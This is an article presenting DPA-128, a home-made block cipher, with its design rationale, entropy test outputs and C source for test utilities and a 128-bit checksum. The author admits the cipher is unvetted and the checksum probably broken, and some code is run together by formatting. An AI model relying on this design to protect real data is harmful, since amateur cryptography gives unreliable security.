While this sounds stronger than transposition and substitution, it is still very weak and unless a RNG is used to generate a key that is as long as the data to encrypt (one‑time pad), it is possible to recover the key size, the key itself and/or the message with enough data to analyze. The methods used to break this kind of cipher is out of the scope of this paper but a search on google will give you enough hints ;)

Polyalphabetic tables have three interesting properties: a) f(a, b) == c

f(a, b) == f(b, a)

but... f(a, c) != b

and assuming c = f(a, b), then there is a f1 such as f1(a, c) == b

b) using the ASCII layout, there are 256^2 combinations which will produce 256 possible results (including the original character).

c) if we assume that the key is truly random AND has the same size as the message to encrypt, then all results are equiprobable.

and equiprobability means that:

‑ if you only take one character in the ciphertext, then you have as many chances for it to be any cleartext character. They all appear the exact same number of times in the table and are the result of as many combinations each.

‑ there is no "useless" substitution. If substitution of character 'A' results in character 'A', then it is not considered as a useless substitution as it had as many chances to be out than any other.

‑‑‑‑[ 1.2 ‑ Weaknesses in polyalphabetic substitution

As I previously said, the above cipher is weak. The weaknesses are numerous and mostly related to the cipher leaking informations about the cleartext, the key and/or the substitution table. If one can encrypt data using the same key, he can determine the size of the key with one message and determine the structure of the substitution table with another, giving him all the necessary information to understand the ciphertext and any other ciphertext encrypted using the same key. But don't get this wrong, he doesn't HAVE to be able to encrypt data, this is just a convenience ;) The fact that the key is concatenated to itself does not make a change, and actually an implementation on computer would work on data using a modulo on the size of the key to save memory.

The reasons why it is so easy are described here:

‑ if one chooses a key A and a key B such as they only differ by one bit, then the ciphertext will only differ by one byte.

‑ if one chooses a message A and a message B such as they also only differ by one bit, then the ciphertext will differ by one byte.

‑ if one changes one bit in ciphertext and decrypts it, the resulting message will only differ by one byte.

‑ if one has partial knowledge of the key, or of the message, then he can determine which substitutions are not probable and therefore reduce drastically the complexity of an attack. Also partial knowledge of the key or the message gives statistical analysis a chance to break the ciphertext when polyalphabetic substitution had all the characteristics needed to prevent that from happening.

So... let's sum things up. Polyalphabetic substitution as described above is vulnerable to chosen texts attack, known texts attack, key correlation attack and eventually statistical attacks. Oh... almost forgot... any partial information reveals information about other unrelated data. If I partially know the plaintext, then with access to the ciphertext I am able to recover partially the key, with partial knowledge of the key and access to the ciphertext, i am able to recover partially the plaintext. There is not one point of failure, there are only points of failures...

‑‑‑‑[ 1.3 ‑ Theory of information

Shannon described two properties that a block cipher should have in order to be strong. Not that all ciphers respecting these are strong, but those that do not respect it are most likeley weak.

These properties are 'confusion' and 'diffusion'. The first one is what we achieve with polyalphabetic substitution, incapacity to deduce from a single encrypted byte, with no other information, the result of which substitution it is. This is because of the equiprobabiliy polyalphabetic tables gives us. The second is diffusion, which is lacking from the above cipher, and one of the reason why it is so vulnerable. Diffusion is a characteristic where a minor cause produces a major result. It is sometimes called 'cascading effect'.

Basically, diffusion should ensure that a one‑bit change in the key alters the whole ciphertext, that a one‑bit change in the plaintext also alters the whole ciphertext and that a one‑bit change in the ciphertext alters the whole plaintext. This complete alteration is only in appearance, and a better look at the complete ciphertext would reveal an average of half bits modified as you'll notice in the output of `bitdiff` later in this paper.

While it is difficult to decide wether or not a cipher has a correct confusion and diffusion, they both produce an entropic result that can be measured using several methods. These methods will be used in this paper but explained further in the references. A cipher not producing true entropy is weak, true entropy (== white noise).

One way to add confusion is to ensure that the ciphertext is not dependant of the key on a character basis. Changing one bit of the key should change the whole ciphertext. This can be achieved by the use of a one‑way hash function for key generation. Some one‑way hash functions have properties that make them suitable for use, these are:

h = f(M)

‑ no matter the length of M, h has a fixed size

‑ assuming M, it should be easy to compute h

‑ assuming h, it should be difficult to compute M

‑ a one‑bit change in M alters half the bits in h (in average). ‑ it should be hard to find a M' to a fixed M such as f(M) = f(M') ‑ it should be hard to find any M and M' such as f(M) = f(M')

The two last properties seem to be identical but in practice it is "easier" to produce a random collision, than to produce a collision for an expected output. Assuming h is 128‑bits long, finding a particular collision takes at most 2^128 tries, while finding a collision takes at most 2^64 tries. This is known as the anniversary attack.

The use of such a function will make key correlation hardly practicable as choosing two keys that have a relation will result in subkeys that have no relation at all, even if the relation is a single bit difference. I am not even mentionning attacks based on partial knowledge of the key ;)

Also, this will prevent users from choosing weak keys, purposedly or not, as it will be difficult to find a key that will produce a weak key (assuming that there are weak keys ;) once passed throught the one‑way hash function. By weak key, I do not mean keys like "aaaa" or "foobar", but keys that will produce a subkey that introduces a weakness in the encryption process (such as DES's four weak keys).

The function not being reversible, partial knowledge of plaintext and access to ciphertext does not reveal the key but the subkey from which you cannot obtain information about the key. If the algorithm iterates for several rounds, it is possible to generate subkeys by calling f on previous subkey:

round1:f(k)

round2:f(f(k))

round3:f(f(f(k)))

and so on...

Note that there is nothing that prevents an implementation from precomputing the subkeys for better performances (this is what my implementation does) instead of computing them for each block.

The characteristics remains, knowing the subkey for round3 does not give information about the subkey used for round2 or round1. That is one of the failure points plugged ;)

Finally, this will increase confusion by creating a relation between each single bit of the user input key and each byte of the ciphertext.

Unfortunately, this is not enough. We added confusion but even though it is theoritically not possible to retrieve the key, even by having access to the full message and the full ciphertext, it is still possible with a partial knowledge to retrieve the subkey and to decrypt any data that is encrypted with the original key. This is where diffusion comes into play with a method called 'byte chaining'. Byte chaining is to a block what block chaining is to a ciphertext, a propagation of changes which will affect all subsequent data. This is done with a simple Xor, where each byte of the block is xor‑ed with the next one (modulo size of the block to have the last one be xor‑ed with the first one). That way, a single bit change in a byte will have repercussion on every byte after that one. If the function used to encrypt data is called for more than one round, then all bytes are guaranteed to have been altered by at least one byte. This operation is done before encryption so that the result of an encrypted byte is dependant not only of the current byte but of all the ones that were used for the byte chaining. As rounds occur, cascading effect takes place and the change propagates through the block.

It is possible to increase complexity by using a key‑related permutation before encryption. DPA‑128 uses a key‑related shifting instead but this can be considered as a permutation in some way. Some functions known as 'string hash functions' can compute an integer value out of a string. They are commonly used by C developpers to create hash tables and they are pretty simple to write. It is possible to use these functions on a subkey to create a key‑related circular shifting within the block: ‑ we have a subkey for the round that we computed using f, this subkey is hashed to produce an integer. the hash function does not have to respect any constraints because of f properties. the paranoiac could implement a function that has low collisions and a nice repartition but since it is applied on the result of f, it inherits some of its characteristics.

‑ assuming the block size is 128, we reduce that integer to 128 (7 bits) there is no magic stuff here, just a modulo.

‑ the result is used to shift the block circularly >>>

Note that the key‑relation for the shifting has no more security than a simple byte shifting ‑ at least on Vigenere table ‑ but only adds more confusion. It was initially introduced as a security measure for substitution tables that had not equiprobable results.

It prevents elimination of some substitution combinations by analyzing which bits are set in an encrypted byte when you know its plaintext equivalent. From the ciphertext, it is not possible to determine wether a block was shifted (the hash value of the key could have been 0 or some product of 128, who knows ;) and if it was shifted, it is not possible to know where the bits come from (which byte they were on originally and what was their position) which makes it difficult to determine if the bit of sign on a particular byte is really a bit of sign or not and if it was part of that byte or not. Also, the shifting is dependant from the subkey used for a round so it will be different at each round and help diffusion through the byte chaining phase.

Finally, it is possible, using the same method, to create a relation between a subkey and the substitution table. This is where dynamic polyalphabetic substitution comes into play !

As we've seen, a polyalphabetic substitution has 256^2 substitutions with 256 outcomes. This means that if an attacker would want to try all combinations possible, he would have to try 256 combinations for a character to be sure the right couple was used (if he knew the structure of the substitution table, or 256^2 otherwise). It is possible to increase that value by creating a relation between the key and the substitution table. There are 256 characters, so it is possible to create 256 different tables by shifting ONE byte on each line:

instead of:

0 1 2 3 4 5 6 7 8 9 ...

1 2 3 4 5 6 7 8 9 ...

2 3 4 5 6 7 8

3 4 5 6 7 8

4 5 6 7 8

5 ....

...

we end with (n being the shift):

n%256 (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ... (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ... (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256

(n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256

(n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256

(n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256 (n+9)%256

(n+6)%256 ...

...

This means that an attacker would need to try 256^2 combinations before he knows for sure the right combination was used. he needs to try the same combinations as before but with every variation of 'n'. 'n' can be computed using the same method as for the block shifting but since there are 256 possible shifts for the substitution table, then the result will be reduced modulo 256 (8 bits).

The tables being structured in a logical way, they can be represented by arithmetics which removes the need to store the 256 possible tables and saves quite a bit of memory. It is also possible with more work to create polyalphabetic s‑tables that are shuffled instead of shifted, such tables would still share the characteristics of polyalphabetism but prevent partial knowledge of the table from deducing the full internal structure. I did not have enough time to keep on working on this so I am unable to give an example of these, however, simple tables such as the one above is sufficient in my opinion.

k being the character from the key, d being the character from the message and s being the shifting.

encryption can be represented using this equation: (k + d + s) mod 256

while decryption is:

((256 + d) ‑ k ‑ s) mod 256

The amusing part is that when you play with statistics, you get a very different view if you are in the position of the attacker or of the nice guy trying to keep his secret. Assuming there are 'n' rounds, then you have (256^2) * m substitutions useable where 1 <= m <= n and n <= 256. This is because some subkeys might produce identical substitution tables. In another hand, and im not doing the maths for this ;), the attacker has not only to figure out which substitutions were done, but also the tables in which they were done... in the exact same order... out of data that does not inform him on the subkeys used to generate the tables he is trying to determine the structure of ;)

The result is NOT equiprobable, because it would require exactly 256 rounds with different tables which is hardly doable (just determining if it is doable requires trying 2^128^256 keys if im correct), but from the attacker point of view, even an exhaustive search might create an indecision because many keys will probably result in the same cipher if applied to different messages (many will produce the same cipher if applied to garbage too ;).

‑‑[ 2 ‑ IMPLEMENTATION OF DPA‑128

As I said, DPA‑128 is a secret‑key block cipher. Its block and key size are 128‑bits. This is not a limitation imposed by the algorithm which is easily adaptable to different key and block sizes. It consists of 16 rounds, each performing:

‑ a byte chaining;

‑ a subkey‑related shifting;

‑ a subkey‑related polyalphabetic substitution;

All of the rounds have their own subkey.

The implementation uses all of the ideas explained in this paper and before I provide the code, here are a few tests performed on it.

‑‑‑‑[ 2.1 ‑ DPA‑128 used as a one way hash function

Bruce Schneier explained in "Applied Cryptography" that some ciphers can be turned into one way hash functions by using them in BC modes (CBC for that matter) using a fixed key and initialization vector with more or less efficiency. It is hard to determine if DPA‑128 is efficient because it was not been analyzed by many people and I consider it as efficient to produce checksums as to encrypt. If there is a weakness in the cipher then the checksum will not be secure. The same applies to DPA‑128 used as a PRNG. So... I did some testing ;)

I used three tools, the first one 'bitdiff' is a little utility that goes through two files and compares them bit per bit. It then outputs the number of bits that have changed and the repartition of zero's and one's. A sample output looks like this:

% ./bitdiff file1 file2

64 bits have changed.

ratio for file1:

0's: 55

1's: 73

ratio for file2:

0's: 71

1's: 57

I also used a tool 'segments', which counts segments of identical bits in a file. A sample output looks like this:

% ./segments file1

0's segments:

1 => 19

2 => 6

3 => 4

4 => 0

1's segments:

1 => 13

2 => 7

3 => 3

4 => 3

Finally, I used an existing tool called 'ent' which is available at http://www.fourmilab.ch/random/

which performs several entropy tests, helping determine:

‑ if DPA‑128 passes deterministic tests and how does it compare to a PRNG (I used NetBSD's /dev/urandom).

‑ what is the impact to a checksum when a bit changes in a file.

Theoritically, an equiprobable cipher would not be a nice idea for a one‑way hash function as it would be easily subject to collisions, but as I explained, the result seems to be equiprobable while there is a limited range of possible substitution for a fixed key.

I checksum‑ed /etc/passwd three times, the first one was the real file, the second one was the file with a one bit change and the third one was the file with a 6 bytes addition. All bytes where affected, tests with bitdiff showed that a one bit change produced an average of 60 bits modified in the 128 bits checksum.

% ./dpa sum passwd |hexdump

0000000 be85 3b72 1a76 48e6 5d08 939b 104f 3f23

0000010

% ./dpa sum passwd.1 | hexdump

0000000 f9d3 c5fe d146 2170 144d 900d 0e99 c64b

0000010

% ./dpa sum passwd.2 | hexdump

0000000 fa19 4869 3f61 798a 2e81 91e9 bc92 78ee

0000010

After i redirected the checksums to files, i call bitdiff on them. The files do not contain the hexadecimal representation, but the real 128 bits outputs:

% ./bitdiff passwd.chk passwd.1.chk

63 bits have changed.

ratio for passwd.chk:

0's: 65

1's: 63

ratio for passwd.1.chk:

0's: 68

1's: 60

% ./bitdiff passwd.chk passwd.2.chk

61 bits have changed.

ratio for passwd.chk:

0's: 65

1's: 63

ratio for passwd.2.chk:

0's: 64

1's: 64

You'll notice a nice repartition of zero's and one's, lets' see what segments has to say about this:

% ./segments passwd.chk

0's segments:

1 => 13

2 => 10

3 => 3

4 => 2

1's segments:

1 => 15

2 => 4

3 => 5

4 => 0

% ./segments passwd.1.chk

0's segments:

1 => 11

2 => 8

3 => 5

4 => 3

5 => 0

1's segments:

1 => 13

2 => 9

3 => 2

4 => 0

5 => 1

% ./segments passwd.2.chk

0's segments:

1 => 12

2 => 10

3 => 3

4 => 1

5 => 0

1's segments:

1 => 16

2 => 3

3 => 4

4 => 3

5 => 1

Well all we can notice is that there are mostly small segments and that they are well reparted. I'm skipping the entropy test since it will illustrate the use of DPA‑128 as a PRNG ;)

‑‑‑‑[ 2.2 ‑ DPA‑128 used as PRNG

For the following tests concerning segments and entropy:

‑ the file 'urandom.seed' consists in 1024 bytes read from NetBSD 1.6.1's /dev/urandom

‑ the file 'dpa.seed' consists in the result of an ECB encryption on dpa's main.c and a reduction of the output to 1024 bytes.

This means that while tests on urandom.seed apply to the result of a PRNG, the tests on dpa.seed can be reproduced. It shows good entropy on encrypting a fixed value and the results should be quite the same if used as a PRNG. The tests that are performed by 'ent' are described on their website, I'm not going to describe them here because it is out of the scope of this paper and I would do it far less better than their page does.

% ./segments urandom.seed

0's segments:

1 => 1019

2 => 418

3 => 212

4 => 88

5 => 35

6 => 18

1's segments:

1 => 1043

2 => 448

3 => 179

4 => 74

5 => 32

6 => 13

% ./segments dpa.seed

0's segments:

1 => 1087

2 => 443

3 => 175

4 => 72

5 => 29

6 => 18

1's segments:

1 => 1039

2 => 453

3 => 195

4 => 67

5 => 34

6 => 15

% ./ent ‑b urandom.seed

Entropy = 0.999928 bits per bit.

Optimum compression would reduce the size

of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random). Monte Carlo value for Pi is 3.058823529 (error 2.63 percent). Serial correlation coefficient is ‑0.002542 (totally uncorrelated = 0.0).

% ./ent ‑b dpa.seed

Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size

of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random). Monte Carlo value for Pi is 3.200000000 (error 1.86 percent). Serial correlation coefficient is ‑0.003906 (totally uncorrelated = 0.0).

% ./ent ‑bc urandom.seed

Value Char Occurrences Fraction

0 4137 0.505005

1 4055 0.494995

Total: 8192 1.000000

Entropy = 0.999928 bits per bit.

Optimum compression would reduce the size

of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random). Monte Carlo value for Pi is 3.058823529 (error 2.63 percent). Serial correlation coefficient is ‑0.002542 (totally uncorrelated = 0.0).

% ./ent ‑bc dpa.seed

Value Char Occurrences Fraction

0 4096 0.500000

1 4096 0.500000

Total: 8192 1.000000

Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size

of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random). Monte Carlo value for Pi is 3.200000000 (error 1.86 percent). Serial correlation coefficient is ‑0.003906 (totally uncorrelated = 0.0).

The last tests must have given you an idea of the confusion, diffusion and entropy present in a DPA‑128 encrypted ciphertext. More results are available online on my webpage, I just did not want to put too much in here since they all look the same ;)

‑‑[ 3 ‑ Acknowledgment

I would like to thank a few people:

k` who helped me with previous versions and some parts of dpa‑128, acid, who supported my endless harassement (hey try this please !), pitufo for being the first dpa‑128 tester and benchmarker, hypno for reading this and spot bad sentences :)

br1an for reading this also and giving advices,

a ph.d whose name will remain private who audited dpa‑128 and mayhem who both suggested to write a paper about dpa.

‑‑[ 4 ‑ REFERENCES

. http://www.tristeza.org/projects/dpa/

my page for the dpa project with examples and a lot of testing

. http://www.csua.berkeley.edu/cypherpunks/

cypherpunks

. http://www.fourmilab.ch/random/

entropy tests and their description

. http://www.schneier.com/paper‑blowfish‑fse.html

a paper on blowfish and what features a cipher should provide

. "applied cryptography", Bruce Schneier

THE book ;)

‑‑[ 5 ‑ Source Code

All of the code is provided under the ISC license, do whatever you want with it, but please please don't use it to encrypt sensitive data unless you know what you are doing (that means you could not break it and have confidence in your skills). The code is NOT optimized for speed, it is a work in progress and many parts can be improved, i'm just a bit in a hurry and by the time you read this, it will probably be a lot cleaner ;)

If you plan on using dpa‑128 even though I'm still warning you not to, here are a few recommandations:

‑ the following code accepts keys both as parameter or as file. It is preferable for many reasons to use a file, but the best reason (aside from someone issueing a `ps` at the wrong moment...) is that you can have your key be the result of a PRNG:

% dd if=/dev/urandom of=/home/veins/.dpa/secret.key bs=1024 count=1

The odds of someone guessing your key become pretty low :)

‑ use CBC mode. the impact of using CBC mode on performances is too low to be an excuse for not using it.

To encrypt:

% dpa ‑a enc ‑m cbc ‑k file:secret.key ‑d file:/etc/passwd ‑o p.enc

To decrypt:

% dpa ‑a dec ‑m cbc ‑k file:secret.key ‑d file:p.enc ‑o p.dec

/*

* Copyright (c) 2004 Chehade Veins <veins at tristeza.org>

*

* Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. *

* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* bitdiff.c */

/*

* This is a small utility to compare the bits in two files. It is ugly * and could be rewritten in a sexier way but it does its job so no * need to waste time on it ;)

*

*/

#include <sys/stat.h>

#include <sys/mman.h>

#include <fcntl.h>

#include <sysexits.h>

intmain(int argc, char *argv[])

{

inti;

intsize1, size2;/* size counters */

char*s1, *s2;

ints1_0, s1_1;/* in s1: 0s and 1s counter */

ints2_0, s2_1;/* in s2: 0s and 1s counter */

intfd1, fd2;

unsigned intcnt;

unsigned intdiff;

unsigned inttotal;

struct statsa;

struct statsb;

if (argc < 3)

return (EX_USAGE);

fd1 = open(argv[1], O_RDONLY);

fd2 = open(argv[2], O_RDONLY);

if (fd1 < 0 || fd2 < 0)

return (EX_SOFTWARE);

fstat(fd1, &sa);

fstat(fd2, &sb);

size1 = sa.st_size;

size2 = sb.st_size;

s1 = mmap(NULL, sa.st_size, PROT_READ, MAP_PRIVATE, fd1, 0); s2 = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd2, 0); if (s1 == (void *)MAP_FAILED || s2 == (void *)MAP_FAILED) return (EX_SOFTWARE);

s1_1 = s2_1 = s1_0 = s2_0 = diff = total = 0;

while (size1 && size2)

{

for (i = 7, cnt = 0; i >= 0; ‑‑i, ++cnt)

{

if (((*s1 >> i) & 0x1) != ((*s2 >> i) & 0x1))

++diff;

if ((*s1 >> i) & 0x1)

++s1_1;

else if (((*s1 >> i) & 0x1) == 0)

++s1_0;

if ((*s2 >> i) & 0x1)

++s2_1;

else if (((*s2 >> i) & 0x1) == 0)

++s2_0;

++total;

}

++s1; ++s2; size1‑‑; size2‑‑;

}

if (diff == 0)

printf("bit strings are identical\n");

else

{

printf("%d bits have changed.\n", diff, total); printf("ratio for %s:\n", argv[1]);

printf("\t0's: %d\n", s1_0);

printf("\t1's: %d\n", s1_1);

printf("\n");

printf("ratio for %s:\n", argv[2]);

printf("\t0's: %d\n", s2_0);

printf("\t1's: %d\n", s2_1);

}

munmap(s1, sa.st_size);

munmap(s2, sb.st_size);

return (EX_OK);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* segments.c */

/*

* This is a small utility to count the segments of identical bits in a * file. It could also be rewritten in a sexier way but...

*

*/

#include <sys/mman.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sysexits.h>

intmain(int argc, char *argv[])

{

inti;

intfd;

intcnt;

intlast;

intbiggest;

intsize;

char*map;

struct statsb;

unsigned intSTATS[2][32];

if (argc < 2)

return (EX_USAGE);

/* Initialize the segments counters */

for (cnt = 0; cnt < 2; ++cnt)

for (i = 0; i < 32; ++i)

STATS[cnt][i] = 0;

/* Open and map the file in memory */

fd = open(argv[1], O_RDONLY);

if (fd < 0)

return (EX_SOFTWARE);

fstat(fd, &sb);

map = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (map == (void *)MAP_FAILED)

return (EX_SOFTWARE);

last = ‑1;

biggest = 0;

size = sb.st_size;

while (size‑‑)

{

for (i = 7, cnt = 0; i >= 0; ‑‑i, ++cnt)

{

if ((*map >> i) & 0x1)

{

if (last == 0)

{

if (cnt > biggest)

biggest = cnt;

if (cnt >= 32)

errx(EX_SOFTWARE, "This cannot be an entropy source ;)"); STATS[last][cnt] += 1;

cnt = 0;

}

last = 1;

}

else

{

if (last == 1)

{

if (cnt > biggest)

biggest = cnt;

if (cnt >= 32)

errx(EX_SOFTWARE, "This cannot be an entropy source ;)"); STATS[last][cnt] += 1;

cnt = 0;

}

last = 0;

}

}

++map;

}

munmap(map, sb.st_size);

printf("0's segments:\n");

for (i = 1; i < biggest; i++)

printf("\t%d => %d\n", i, STATS[0][i]);

printf("\n1's segments:\n");

for (i = 1; i < biggest; i++)

printf("\t%d => %d\n", i, STATS[1][i]);

return (EX_OK);

}

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑

Again, the source code that follows is a work in progress, and some parts deserve a cleaner rewrite. data.c is truly ugly ;)

It was tested on Linux & BSD/i386, SunOS/sparc and OSF1/alpha, if it does not run on your unix box, porting it should be trivial.

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ # Makefile

NAME=dpa

SRCS=main.c\

bitshift.c\

bytechain.c\

blockchain.c\

E.c\

D.c\

S_E.c\

S_D.c\

iv.c\

ecb.c\

cbc.c\

checksum128.c\

hash32.c\

key.c\

data.c\

sum.c\

usage.c

OBJS=$(SRCS:.c=.o)

CFLAGS=

LDFLAGS=

$(NAME):$(OBJS)

cc ‑o $(NAME) $(OBJS) $(LDFLAGS)

clean:

rm ‑f *.o *~

fclean:clean

rm ‑f $(NAME)

re:fclean$(NAME)

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* include/dpa.h */

#ifndef_DPA_H_

#define_DPA_H_

#defineDPA_KEY_SIZE16

#defineDPA_BLOCK_SIZE16

#defineDPA_ENCRYPT0

#defineDPA_DECRYPT1

#defineDPA_MODE_ECB0

#defineDPA_MODE_CBC1

struct s_dpa_sub_key {

unsigned charkey[DPA_KEY_SIZE];

unsigned charshift;

};

typedef struct s_dpa_sub_keyDPA_SUB_KEY;

struct s_dpa_key {

struct s_dpa_sub_keysubkey[16];

};

typedef struct s_dpa_keyDPA_KEY;

struct s_dpa_data {

unsigned char*data;

unsigned longlength;

};

typedef struct s_dpa_dataDPA_DATA;

voidchecksum128(unsigned char *, unsigned char *, unsigned int); unsigned longhash32(unsigned char *, unsigned int);

unsigned chardpa_encrypt(unsigned int, unsigned int, unsigned int); unsigned chardpa_decrypt(unsigned int, unsigned int, unsigned int);

voidDPA_ecb_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

voidDPA_ecb_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

voidDPA_cbc_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

voidDPA_cbc_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

voidDPA_sum(DPA_KEY *, DPA_DATA *, DPA_DATA *);

voidDPA_set_key(DPA_KEY *, unsigned char *, unsigned int); voidDPA_set_keyfile(DPA_KEY *, char *);

voidDPA_set_data(DPA_DATA *, unsigned char *, unsigned int); voidDPA_set_datafile(DPA_DATA *, char *);

voidDPA_set_ciphertext(DPA_DATA *, DPA_DATA *, int, int);

voidDPA_write_to_file(DPA_DATA *, char *);

voidDPA_sum_write_to_file(DPA_DATA *, char *);

voidrbytechain(unsigned char *);

voidlbytechain(unsigned char *);

voidrbitshift(unsigned char *, unsigned int);

voidlbitshift(unsigned char *, unsigned int);

voidblockchain(unsigned char *, unsigned char *);

voidIV(unsigned char *);

voidE(unsigned char *, unsigned char *, unsigned int);

voidD(unsigned char *, unsigned char *, unsigned int);

voidS_E(unsigned char *, unsigned char *, unsigned int);

voidS_D(unsigned char *, unsigned char *, unsigned int);

voidusage(void);

#endif

8<‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ 8< ‑ ‑ ‑ ‑ ‑ /* checksum128.c */

/* NEEDS_FIX */

/*

* This function creates a 128 bits (16 bytes) checksum out of a variable * length input. It has NOT been verified so it is most likely broken and * subject to collisions even though I was not able to find any myself. *

* The following constraints need to be respected:

* ‑ the function has to return a 128 bits value no matter what; * ‑ it should be difficult to determine the result by knowing the input; * ‑ it should be difficult to determine the input by knowing the result; * ‑ it should be difficult to find an input that will produce an identic * result as a known input;

* ‑ it should be difficult to find two inputs that will produce the same * result;

* ‑ it should be easy to compute the result of an input;

*

* If checksum128() happens to be broken, DPA‑128 could be fixed by * replacing it with any one‑way hash function that produces a 128 bits * output (MD5 comes to mind first ;).

*/

#define__NBROUNDS32

voidchecksum128(unsigned char *key, unsigned char *skey, unsigned int size) {

unsigned intcnt;

unsigned intlength;

unsigned longa;

unsigned longb;

unsigned longc;

unsigned longd;

unsigned char*save;

/* Initialization of contexts */

a = 0xdeadbeef;

b = 0xadbeefde;

c = 0xbeefdead;

d = 0xefdeadbe;

for (cnt = 0; cnt < __NBROUNDS; ++cnt)

{

for (length = 0, save = key; length < size; ++save, ++length) {

/* each context is first summed up with the cumplement of

* the current ascii character.

*/

a = (a + ~(*save));

b = (b + ~(*save));

c = (c + ~(*save));

d = (d + ~(*save));

/* Confusion */

/*

* Context A is summed with the product of:

* ‑ cumplement of B, C and cumplement of D;

*

* Context B is summed with the product of:

* ‑ cumplement of C, D and cumplement of A;

*

* Context C is summed with the product of:

* ‑ cumplement of D, A and cumplement of B;

*

* Context D is summed with the product of:

* ‑ cumplement of A, B and cumplement of C;

*

* Every context has a repercussion on all others

* including itself, and multiplication makes it

* hard to determine the previous values of each

* contexts after a few rounds.

*/

a += ~b * c * ~d;

b += ~c * d * ~a;

c += ~d * a * ~b;

d += ~a * b * ~c;

}

/* Diffusion */

/*

* The bytes of each contexts are shuffled within the * same context, the first byte of A becomes the last * which becomes the first. the second becomes the * third which becomes the second. This permutation * is also applied to B, C and D, just before they go * through another round.

*/

a = (((a & 0x000000ff) << 24) +

((a & 0x0000ff00) << 8) +

((a & 0x00ff0000) >> 8) +

((a & 0xff000000) >> 24));

b = (((b & 0x000000ff) << 24) +

((b & 0x0000ff00) << 8) +

((b & 0x00ff0000) >> 8) +

((b & 0xff000000) >> 24));

c = (((c & 0x000000ff) << 24) +

((c & 0x0000ff00) << 8) +

((c & 0x00ff0000) >> 8) +

((c & 0xff000000) >> 24));

d = (((d & 0x000000ff) << 24) +

((d & 0x0000ff00) << 8) +

((d & 0x00ff0000) >> 8) +

((d & 0xff000000) >> 24));

}

/* Diffusion */

/*

* The Checksum is constructed by taking respectively

* the first byte of A, B, C and D, then the second,

* the third and the fourth.

*/

skey[0] = (a & 0xff000000) >> 24;

skey[1] = (b & 0xff000000) >> 24;

skey[2] = (c & 0xff000000) >> 24;

skey[3] = (d & 0xff000000) >> 24;

skey[4] = (a & 0x00ff0000) >> 16;

skey[5] = (b & 0x00ff0000) >> 16;

skey[6] = (c & 0x00ff0000) >> 16;

skey[7] = (d & 0x00ff0000) >> 16;

skey[8] = (a & 0x0000ff00) >> 8;

skey[9] = (b & 0x0000ff00) >> 8;

skey[10] = (c & 0x0000ff00) >> 8;

skey[11] = (d & 0x0000ff00) >> 8;

skey[12] = (a & 0x000000ff);

skey[13] = (b & 0x000000ff);

skey[14] = (c & 0x000000ff);

skey[15] = (d & 0x000000ff);

}

